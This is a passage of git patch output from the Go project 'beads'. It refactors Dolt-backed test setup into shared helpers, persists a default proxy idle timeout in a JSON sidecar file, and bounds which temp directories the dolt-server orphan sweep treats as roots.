newTestStore(t, dbPath) // Create a mix of wisp and non-wisp issues normalIssue := &types.Issue{ @@ -1426,14 +1341,7 @@ func TestWispFilteringFromExport(t *testing.T) { func TestGetMoleculeProgress(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create a molecule (epic with template label) root := &types.Issue{ @@ -1527,14 +1435,7 @@ func TestGetMoleculeProgress(t *testing.T) { func TestFindParentMolecule(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create molecule root (epic with template label) root := &types.Issue{ @@ -1624,14 +1525,7 @@ func TestFindParentMolecule(t *testing.T) { func TestFindParentMoleculesBatch(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create molecule root (epic with template label) root := &types.Issue{ @@ -1726,14 +1620,7 @@ func TestFindParentMoleculesBatch(t *testing.T) { func TestFindParentMolecule_RootShapes(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) tests := []struct { name string @@ -1801,14 +1688,7 @@ func TestFindParentMolecule_RootShapes(t *testing.T) { func TestAdvanceToNextStep_PouredMolecule(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Root shaped like `bd mol pour` output: TypeMolecule, no template label. root := &types.Issue{ @@ -1884,14 +1764,7 @@ func TestAdvanceToNextStep_PouredMolecule(t *testing.T) { func TestFindHookedMolecules(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create molecule root (epic) molecule := &types.Issue{ @@ -1967,14 +1840,7 @@ func TestFindHookedMolecules(t *testing.T) { func TestAdvanceToNextStep(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create molecule with sequential steps root := &types.Issue{ @@ -2069,14 +1935,7 @@ func TestAdvanceToNextStep(t *testing.T) { func TestAdvanceToNextStepMoleculeComplete(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create molecule with single step root := &types.Issue{ @@ -2127,14 +1986,7 @@ func TestAdvanceToNextStepMoleculeComplete(t *testing.T) { func TestAdvanceToNextStepOrphanIssue(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create standalone issue (not part of molecule) orphan := &types.Issue{ @@ -2163,14 +2015,7 @@ func TestAdvanceToNextStepOrphanIssue(t *testing.T) { func TestAdvanceToNextStepConcurrentClaim(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create molecule: root -> step1 (closed), step2 (open), step3 (open) // step2 and step3 both depend on step1, so both become ready when step1 closes. @@ -2267,14 +2112,7 @@ func TestAdvanceToNextStepConcurrentClaim(t *testing.T) { func TestAdvanceToNextStepAllClaimed(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create molecule: root -> step1 (closed), step2 (open, will be pre-claimed) root := &types.Issue{ @@ -2503,14 +2341,7 @@ func TestGetRelativeID(t *testing.T) { func TestBondProtoMolWithRef(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "patrol"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStoreWithPrefix(t, dbPath, "patrol") // Create a proto with child steps (mol-polecat-arm template) protoRoot := &types.Issue{ @@ -2593,14 +2424,7 @@ func TestBondProtoMolWithRef(t *testing.T) { func TestBondProtoMolMultipleArms(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "patrol"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStoreWithPrefix(t, dbPath, "patrol") // Create simple proto proto := &types.Issue{ @@ -3064,14 +2888,7 @@ func TestCalculateBlockingDepths(t *testing.T) { func TestSpawnMoleculeEphemeralFlag(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create a template with a child (IDs will be auto-generated) root := &types.Issue{ @@ -3140,14 +2957,7 @@ func TestSpawnMoleculeEphemeralFlag(t *testing.T) { func TestSpawnMoleculeFromFormulaEphemeral(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create a minimal in-memory subgraph (simulating cookFormulaToSubgraph output) root := &types.Issue{ @@ -3228,14 +3038,7 @@ func TestSpawnMoleculeFromFormulaEphemeral(t *testing.T) { func TestSpawnMolecule_PreservesStepMetadata(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) f := &formula.Formula{ Formula: "meta-test", @@ -3393,14 +3196,7 @@ func TestFormatBondType(t *testing.T) { func TestPourRootTitleDescSubstitution(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "mol"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStoreWithPrefix(t, dbPath, "mol") // Create a formula that has title and desc variables f := &formula.Formula{ @@ -3483,14 +3279,7 @@ func TestPourRootTitleDescSubstitution(t *testing.T) { func TestPourRootTitleOnly(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "mol"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStoreWithPrefix(t, dbPath, "mol") // Formula with only title var (no desc) f := &formula.Formula{ @@ -3538,14 +3327,7 @@ func TestPourRootTitleOnly(t *testing.T) { func TestPourRootNoVars(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "mol"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStoreWithPrefix(t, dbPath, "mol") // Formula with no title/desc vars (uses different var names) f := &formula.Formula{ diff --git a/cmd/bd/rename_prefix_repair_test.go b/cmd/bd/rename_prefix_repair_test.go index 7b73e4ea2..a987697e0 100644 --- a/cmd/bd/rename_prefix_repair_test.go +++ b/cmd/bd/rename_prefix_repair_test.go @@ -7,7 +7,6 @@ import ( "path/filepath" "testing" - "github.com/steveyegge/beads/internal/storage/dolt" "github.com/steveyegge/beads/internal/types" ) @@ -17,30 +16,25 @@ func TestRepairMultiplePrefixes(t *testing.T) { ctx := context.Background() - testStore, err := dolt.New(ctx, &dolt.Config{Path: testDBPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer testStore.Close() + testStore := newTestStore(t, testDBPath) - // Set globals following TestRenamePrefixCommand pattern + // Set the globals this test's code path actually reads. Deliberately NOT + // dbPath: on the shared-branch fast path newTestStore writes a + // metadata.json naming the shared database with no branch qualifier + // (test_helpers_test.go newTestStoreSharedBranch) while the live store sits + // on this test's own branch, so a global dbPath would point anything that + // reopens by path at shared `main` instead. repairPrefixes takes the store + // explicitly and never reopens, so the global is left alone rather than + // made to lie. oldStore := store oldActor := actor - oldDBPath := dbPath store = testStore actor = "test" - dbPath = testDBPath defer func() { store = oldStore actor = oldActor - dbPath = oldDBPath }() - // Set initial prefix - if err := testStore.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("failed to set prefix: %v", err) - } - // Create issues with multiple prefixes (simulating corruption). // CreateIssue accepts explicit IDs without prefix validation, // so we can create issues with different prefixes to simulate diff --git a/cmd/bd/update_metadata_test.go b/cmd/bd/update_metadata_test.go index e320aac3a..773a65509 100644 --- a/cmd/bd/update_metadata_test.go +++ b/cmd/bd/update_metadata_test.go @@ -9,7 +9,6 @@ import ( "path/filepath" "testing" - "github.com/steveyegge/beads/internal/storage/dolt" "github.com/steveyegge/beads/internal/types" ) @@ -20,16 +19,7 @@ func TestUpdateMetadataInlineJSON(t *testing.T) { // Create storage ctx := context.Background() - store, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer store.Close() - - // Initialize database with issue prefix - if err := store.SetConfig(ctx, "issue_prefix", "bd"); err != nil { - t.Fatalf("failed to set issue_prefix: %v", err) - } + store := newTestStoreWithPrefix(t, dbPath, "bd") // Create an issue issue := &types.Issue{ From 6ba70b0ec178ccfcdaa20703f7750882bf54880a Mon Sep 17 00:00:00 2001 From: Rongjun GENG Date: Sat, 26 Sep 2026 07:36:14 -0700 Subject: [PATCH 100/624] fix(configfile): persist effective proxy idle timeout (#6657) (#6673) Write the effective 30-second default into proxied-server sidecars while preserving the never and explicit-duration values, so readers can interpret the file without bd internals. Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Rongjun GENG --- internal/configfile/configfile_test.go | 40 +++++++++++++++++++ .../configfile/proxied_server_client_info.go | 16 +++++++- internal/storage/uow/dolt_sql_provider.go | 3 +- 3 files changed, 56 insertions(+), 3 deletions(-) diff --git a/internal/configfile/configfile_test.go b/internal/configfile/configfile_test.go index 961bf7a59..99d3ba3c6 100644 --- a/internal/configfile/configfile_test.go +++ b/internal/configfile/configfile_test.go @@ -1,6 +1,7 @@ package configfile import ( + "encoding/json" "os" "path/filepath" "strings" @@ -872,6 +873,45 @@ func TestProxiedServerClientInfo_RoundTrip(t *testing.T) { }) } +func TestSaveProxiedServerClientInfo_WritesEffectiveIdleTimeout(t *testing.T) { + for _, tc := range []struct { + name string + in time.Duration + want time.Duration + }{ + {name: "default", in: 0, want: DefaultProxyIdleTimeout}, + {name: "never", in: -1, want: -1}, + {name: "positive", in: 45 * time.Second, want: 45 * time.Second}, + } { + t.Run(tc.name, func(t *testing.T) { + dir := t.TempDir() + info := &ProxiedServerClientInfo{RootPath: "/var/lib/beads/proxieddb", IdleTimeout: tc.in} + if err := SaveProxiedServerClientInfo(dir, info); err != nil { + t.Fatalf("Save: %v", err) + } + + data, err := os.ReadFile(ProxiedServerClientInfoPath(dir)) + if err != nil { + t.Fatalf("ReadFile: %v", err) + } + var raw map[string]any + if err := json.Unmarshal(data, &raw); err != nil { + t.Fatalf("Unmarshal: %v", err) + } + got, ok := raw["idle_timeout"] + if !ok { + t.Fatalf("idle_timeout is absent from sidecar: %s", data) + } + if got != float64(tc.want.Nanoseconds()) { + t.Fatalf("idle_timeout = %v, want %d: %s", got, tc.want.Nanoseconds(), data) + } + if info.IdleTimeout != tc.want { + t.Fatalf("caller plan IdleTimeout = %s, want effective %s", info.IdleTimeout, tc.want) + } + }) + } +} + func TestProxiedServerClientInfo_ResolvedPaths(t *testing.T) { beadsDir := "/home/user/project/.beads" diff --git a/internal/configfile/proxied_server_client_info.go b/internal/configfile/proxied_server_client_info.go index be9d4a70d..a486fd5b6 100644 --- a/internal/configfile/proxied_server_client_info.go +++ b/internal/configfile/proxied_server_client_info.go @@ -8,14 +8,19 @@ import ( "time" ) -const ProxiedServerClientInfoFileName = "proxied_server_client_info.json" +const ( + ProxiedServerClientInfoFileName = "proxied_server_client_info.json" + // DefaultProxyIdleTimeout is the effective proxy lifetime persisted when + // callers leave the internal zero-valued "use the default" sentinel. + DefaultProxyIdleTimeout = 30 * time.Second +) type ProxiedServerClientInfo struct { RootPath string `json:"root_path,omitempty"` ConfigPath string `json:"config_path,omitempty"` LogPath string `json:"log_path,omitempty"` Port int `json:"port,omitempty"` - IdleTimeout time.Duration `json:"idle_timeout,omitempty"` + IdleTimeout time.Duration `json:"idle_timeout"` External *ExternalDoltConfig `json:"external,omitempty"` } @@ -43,6 +48,13 @@ func SaveProxiedServerClientInfo(beadsDir string, info *ProxiedServerClientInfo) if info == nil { info = &ProxiedServerClientInfo{} } + // Zero is the internal "use the default" sentinel. Persist the effective + // value so sidecar consumers do not need bd's source code to interpret an + // absent key. Update the caller's plan too: migration resume compares the + // in-memory plan with the sidecar after this write. + if info.IdleTimeout == 0 { + info.IdleTimeout = DefaultProxyIdleTimeout + } data, err := json.MarshalIndent(info, "", " ") if err != nil { return fmt.Errorf("marshaling %s: %w", ProxiedServerClientInfoFileName, err) diff --git a/internal/storage/uow/dolt_sql_provider.go b/internal/storage/uow/dolt_sql_provider.go index 74b780123..0d770840f 100644 --- a/internal/storage/uow/dolt_sql_provider.go +++ b/internal/storage/uow/dolt_sql_provider.go @@ -16,6 +16,7 @@ import ( "github.com/cenkalti/backoff/v4" "github.com/go-sql-driver/mysql" + "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/debug" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" @@ -27,7 +28,7 @@ import ( const ( defaultBranch = "main" - defaultProxyIdleTimeout = 30 * time.Second + defaultProxyIdleTimeout = configfile.DefaultProxyIdleTimeout ) type doltSQLProvider struct { From 6e812903d726fe64d896a2ec18f896dad71a535e Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sat, 26 Sep 2026 08:33:28 -0700 Subject: [PATCH 101/624] fix(doltserver): recognize /var/tmp as a fixed temp root on Linux for sandbox-home detection (#6729) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(feat): red — Fix TestTempDirRootsBoundTheOrphanArm under a /var/tmp-rooted TMPDIR without widening the orphan arm (fixes gate-tracker be-35sef) (refs be-n9ile) * feat: green — Fix TestTempDirRootsBoundTheOrphanArm under a /var/tmp-rooted TMPDIR without widening the orphan arm (fixes gate-tracker be-35sef) (refs be-n9ile) * fix(doltserver): bound the sandbox-home carve-out so /var/tmp stays out of the sweep roots Adoption review of PR #6729, iteration 1 (major: Change Impact / Blast Radius; minors: Test Evidence Quality, Contract & Interface Fidelity). Adding /var/tmp to fixedTempRoots was bounded by a comment, not by code. The comment's premise -- the table is never unioned into tempDirRoots()'s own output -- is true but does not carry its conclusion, because os.TempDir() CAN BE /var/tmp: under a bare TMPDIR=/var/tmp, mktemp -d puts test-env.sh's sandbox HOME directly under the shared root, so isSandboxHome spared /var/tmp itself as a sweep root and the deleted-cwd arm came into range of every other user's dolt sql-server there. At head before this commit: tempDirRoots() = [/var/tmp /tmp] and underAnyRoot("/var/tmp/some-other-users-production-server/.beads/dolt") = true; at base both were [/tmp] / false. PR-introduced, not base-preexisting. Enforce the claim instead of asserting it (synthesis remedy (b)): isCredibleTempRoot now lets a sandbox HOME rescue a root NESTED inside a fixed temp location but never one of those locations itself (isSharedTempRoot / sharedTempRoots). The bound is scoped to the carve-out, so a bare TMPDIR=/var/tmp with a real HOME elsewhere is judged exactly as it was at base -- this narrows nothing reachable on Linux. It does additionally stop a bare TMPDIR=/var/folders from being credited on darwin, because sharedTempRoots derives from the whole fixedTempRoots table: that is the same class of widening, the generalization is deliberate (a future row is bounded by default), and the realistic macOS shape -- TMPDIR=/var/folders/xx/yy/T, nested -- is unaffected and pinned by the new platform table. /tmp is the deliberate opt-out: tempDirRoots() hardcodes it into the candidate list, so excluding it widens nothing, and including it would re-break the CI shape the carve-out exists for (TestTempDirRootsRejectsOverbroadTMPDIR/"sandbox HOME under /tmp keeps /tmp"). The subtest that claimed to pin the bound was vacuous: it pointed TMPDIR at a /var/tmp SUBdirectory, the one case where the sibling was out of range at base too, so it passed against base sweep.go. Replaced with the bare TMPDIR=/var/tmp case, and folded the subdirectory assertion into the subtest above it under a name that does not overclaim. Counterfactual: dropping just the isSharedTempRoot arm turns the new subtest red, and it is the ONLY one of the 39 sweep tests/subtests that fails -- including all three subtests this PR originally shipped. Corrected the comment at fixedTempRoots so the bound names its mechanism and the degenerate bare-TMPDIR case instead of stating a false absolute. Iteration 2 (nits only; no behavior change): renamed the pin subtest from "a bare /var/tmp TMPDIR is never credited as a root" to "a sandbox HOME never rescues bare /var/tmp as a root". The old name asserted an unconditional invariant the code does not provide -- with a real HOME elsewhere, bare /var/tmp IS still credited, at head exactly as at base, since isCredibleTempRoot has only ever rejected roots that are or contain the home. The new name scopes the claim to the carve-out the subtest actually exercises. Counterfactual re-run after the rename: the same single subtest is the only red. Coverage bound, measured rather than assumed: this fix covers a TMPDIR rooted UNDER /var/tmp, not a bare TMPDIR=/var/tmp. test-env.sh builds its sandbox HOME one level under $TMPDIR and never reassigns TMPDIR, so a host whose TMPDIR is literally /var/tmp still fails TestTempDirRootsBoundTheOrphanArm at this head -- as it does at base. That shape is unfixed scope, not a regression; the harness-side fix is to have test-env.sh export TMPDIR="$root". Validation: gofmt, go vet, and the full internal/doltserver sweep set green (TestSandboxHome*, TestTempDirRoots*, TestIsCredibleTempRoot, TestSelectOrphan*, TestSelectServersUnderSuiteRoots, TestCanonicalRootsForSweep). The three package reds (TestDefaultConfig*, TestResolveServerMode_HostInferredExternal) are the known BEADS_DIR/BEADS_DOLT_* env-bleed cluster: green here with those vars unset, red at base too, outside this diff's surface. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- internal/doltserver/sweep.go | 100 +++++++++++++++++++++--- internal/doltserver/sweep_test.go | 126 ++++++++++++++++++++++++++++++ 2 files changed, 214 insertions(+), 12 deletions(-) diff --git a/internal/doltserver/sweep.go b/internal/doltserver/sweep.go index 2b69e08bd..edb98632c 100644 --- a/internal/doltserver/sweep.go +++ b/internal/doltserver/sweep.go @@ -183,6 +183,12 @@ func tempDirRoots() []string { // deleted-cwd arm silently disabled on exactly the boxes whose killed runs it // exists to clean up after. A root that merely contains a sandbox home stays // credible; a root that IS the home does not, whatever the home looks like. +// +// The carve-out is itself bounded by isSharedTempRoot: a sandbox home rescues +// a root NESTED inside a fixed temp location, never one of those shared +// locations itself. Otherwise a bare TMPDIR=/var/tmp — where mktemp -d puts +// the sandbox home directly under the shared root — would hand back all of +// /var/tmp, and with it every other user's workspace there. func isCredibleTempRoot(root, home string) bool { cleaned := filepath.Clean(root) if cleaned == "" || cleaned == "." || cleaned == string(filepath.Separator) { @@ -199,7 +205,10 @@ func isCredibleTempRoot(root, home string) bool { if h == cleaned { return false } - if isUnderDir(h, cleaned) && !isSandboxHome(h) { + if !isUnderDir(h, cleaned) { + continue + } + if !isSandboxHome(h) || isSharedTempRoot(cleaned, runtime.GOOS) { return false } } @@ -237,24 +246,91 @@ func isUnderFixedTempRoots(path, goos string) bool { // os.TempDir() itself and left the deleted-cwd arm inert on every Mac // (wy-j2zc8q). // +// /var/tmp is the same story on a Linux gate host whose TMPDIR points at a +// disk-backed path there instead of a tmpfs /tmp: test-env.sh mktemp -ds the +// sandbox HOME under WHATEVER TMPDIR is, not a hardcoded /tmp. Without this +// entry, isSandboxHome only recognized /tmp on Linux, so that sandbox HOME +// read as a real home containing os.TempDir(), isCredibleTempRoot +// disqualified os.TempDir() itself, and tempDirRoots() collapsed to [/tmp] — +// stranding every t.TempDir() actually rooted under the /var/tmp-based TMPDIR +// (TestTempDirRootsBoundTheOrphanArm, be-n9ile / be-35sef). +// // The darwin row spells out the symlink-RESOLVED forms ("/private/tmp", -// "/private/var/folders") literally instead of leaving them to canonicalRoots. -// canonicalRoots resolves with filepath.EvalSymlinks, which reads the HOST's -// filesystem: on a Mac it turns /tmp and /var/folders into their /private/… -// targets, and on a Linux runner it adds nothing at all. But this table is a -// claim ABOUT darwin that any platform may be asked to judge — the platform -// row is pinned from Linux CI by TestSandboxHomeUnderPerUserTempRoot, and a -// Mac's lsof reports cwds in the /private/… form — so the answer must not -// depend on where the judging happens. canonicalRoots dedups, so on a real -// Mac these literals cost nothing: they are exactly what it would have added. +// "/private/var/folders", "/private/var/tmp") literally instead of leaving +// them to canonicalRoots. canonicalRoots resolves with filepath.EvalSymlinks, +// which reads the HOST's filesystem: on a Mac it turns /tmp, /var/folders, +// and /var/tmp into their /private/… targets, and on a Linux runner it adds +// nothing at all. But this table is a claim ABOUT darwin that any platform +// may be asked to judge — the platform row is pinned from Linux CI by +// TestSandboxHomeUnderPerUserTempRoot, and a Mac's lsof reports cwds in the +// /private/… form — so the answer must not depend on where the judging +// happens. canonicalRoots dedups, so on a real Mac these literals cost +// nothing: they are exactly what it would have added. +// +// This table only feeds isSandboxHome's home-containment carve-out inside +// isCredibleTempRoot; it is never unioned into tempDirRoots()'s own output +// (canonicalRoots([os.TempDir(), "/tmp"])). That by itself does NOT bound the +// entry, because os.TempDir() can BE /var/tmp: under a bare TMPDIR=/var/tmp, +// mktemp -d puts the sandbox HOME directly under the shared root, and the +// carve-out would then spare /var/tmp itself as a sweep root — putting every +// other user's deleted-cwd dolt server on the box in range of the kill arm. +// isSharedTempRoot is what closes that: a sandbox HOME may rescue a root +// nested INSIDE an entry here (/var/tmp/beads-gate-probe, the shape +// test-env.sh builds), never the entry itself. So adding /var/tmp widens the +// orphan arm by nothing — a bare TMPDIR=/var/tmp is judged exactly as it was +// before this row existed (TestSandboxHomeUnderVarTmpTMPDIR). func fixedTempRoots(goos string) []string { - roots := []string{"/tmp"} + roots := []string{"/tmp", "/var/tmp"} if goos == "darwin" { - roots = append(roots, "/private/tmp", "/var/folders", "/private/var/folders") + roots = append(roots, "/private/tmp", "/var/folders", "/private/var/folders", "/private/var/tmp") } return roots } +// isSharedTempRoot reports whether root IS one of the temp locations every +// user on the box shares, rather than a path nested inside one. goos is a +// parameter for the same reason as isUnderFixedTempRoots: the platform table +// must answer identically wherever it is judged. +// +// This is the bound on isCredibleTempRoot's sandbox-home carve-out. That +// carve-out recognizes a throwaway HOME by the fixed temp location it sits +// under, so without this check it would spare the whole shared location as a +// sweep root whenever TMPDIR pointed AT it instead of inside it — and the +// deleted-cwd arm reaps what it matches (TestSandboxHomeUnderVarTmpTMPDIR). +func isSharedTempRoot(root, goos string) bool { + cleaned := filepath.Clean(root) + for _, shared := range canonicalRoots(sharedTempRoots(goos)) { + if filepath.Clean(shared) == cleaned { + return true + } + } + return false +} + +// sharedTempRoots is fixedTempRoots minus the /tmp family: the entries that +// may vouch for a sandbox HOME but must never become a sweep root on its +// account. Derived rather than spelled out so a future row is bounded by +// default — opting one out has to be a deliberate edit here. +// +// /tmp is the deliberate opt-out. tempDirRoots() hardcodes it into the +// candidate list (canonicalRoots([os.TempDir(), "/tmp"])), so the design +// already credits it unconditionally and excluding it here widens nothing; +// including it would instead re-break the case the carve-out exists for, +// since the CI shape puts HOME directly under /tmp +// (TestTempDirRootsRejectsOverbroadTMPDIR/"sandbox HOME under /tmp keeps +// /tmp"). darwin's /private/tmp is that same directory under its resolved +// name. +func sharedTempRoots(goos string) []string { + var shared []string + for _, root := range fixedTempRoots(goos) { + if root == "/tmp" || root == "/private/tmp" { + continue + } + shared = append(shared, root) + } + return shared +} + // canonicalRoots expands each non-empty root into every form a process's // working directory may be reported in: the path as given and, when it // differs, its symlink-resolved form. macOS is why — os.MkdirTemp hands back diff --git a/internal/doltserver/sweep_test.go b/internal/doltserver/sweep_test.go index c7888bf4c..b20e4aefb 100644 --- a/internal/doltserver/sweep_test.go +++ b/internal/doltserver/sweep_test.go @@ -658,3 +658,129 @@ func TestSandboxHomeUnderPerUserTempRoot(t *testing.T) { } }) } + +// TestSandboxHomeUnderVarTmpTMPDIR is the /var/tmp counterpart to +// TestSandboxHomeUnderPerUserTempRoot: a Linux gate host can point TMPDIR at +// a disk-backed /var/tmp path instead of a tmpfs /tmp, and +// scripts/ci/lib/test-env.sh mktemp -ds the sandbox HOME under WHATEVER +// TMPDIR is, not a hardcoded /tmp. Judging sandbox-ness against /tmp alone +// left that HOME disqualifying os.TempDir() itself, so tempDirRoots() +// collapsed to [/tmp] and stranded every t.TempDir() actually rooted under +// TMPDIR (TestTempDirRootsBoundTheOrphanArm, be-n9ile / be-35sef). +func TestSandboxHomeUnderVarTmpTMPDIR(t *testing.T) { + t.Run("fixed temp roots include /var/tmp", func(t *testing.T) { + cases := []struct { + path string + goos string + want bool + }{ + {"/var/tmp/beads-test-env-abc123/home", "linux", true}, + {"/var/tmp/beads-test-env-abc123/home", "darwin", true}, + {"/private/var/tmp/beads-test-env-abc123/home", "darwin", true}, + // The invariant still holds: a real home is never a sandbox + // home, whatever TMPDIR says. + {"/home/runner", "linux", false}, + {"/home/runner", "darwin", false}, + } + for _, tc := range cases { + if got := isUnderFixedTempRoots(tc.path, tc.goos); got != tc.want { + t.Errorf("isUnderFixedTempRoots(%q, %q) = %v, want %v", tc.path, tc.goos, got, tc.want) + } + } + + linuxRoots := fixedTempRoots("linux") + if !slices.Contains(linuxRoots, "/var/tmp") { + t.Errorf("fixedTempRoots(%q) = %v, missing %q", "linux", linuxRoots, "/var/tmp") + } + darwinRoots := fixedTempRoots("darwin") + if !slices.Contains(darwinRoots, "/private/var/tmp") { + t.Errorf("fixedTempRoots(%q) = %v, missing the literal %q", "darwin", darwinRoots, "/private/var/tmp") + } + }) + + // The bound on the carve-out, tabled from any platform: an entry may + // vouch for a sandbox HOME without ever becoming a sweep root itself. + // /tmp is the one deliberate opt-out — tempDirRoots() hardcodes it, so + // excluding it here widens nothing (see sharedTempRoots). + t.Run("shared temp roots by platform", func(t *testing.T) { + cases := []struct { + root string + goos string + want bool + }{ + {"/var/tmp", "linux", true}, + {"/var/tmp", "darwin", true}, + {"/private/var/tmp", "darwin", true}, + {"/var/folders", "darwin", true}, + {"/private/var/folders", "darwin", true}, + // Nested inside a shared root: still rescuable, which is the + // whole point — this is the shape test-env.sh builds. + {"/var/tmp/beads-gate-probe", "linux", false}, + 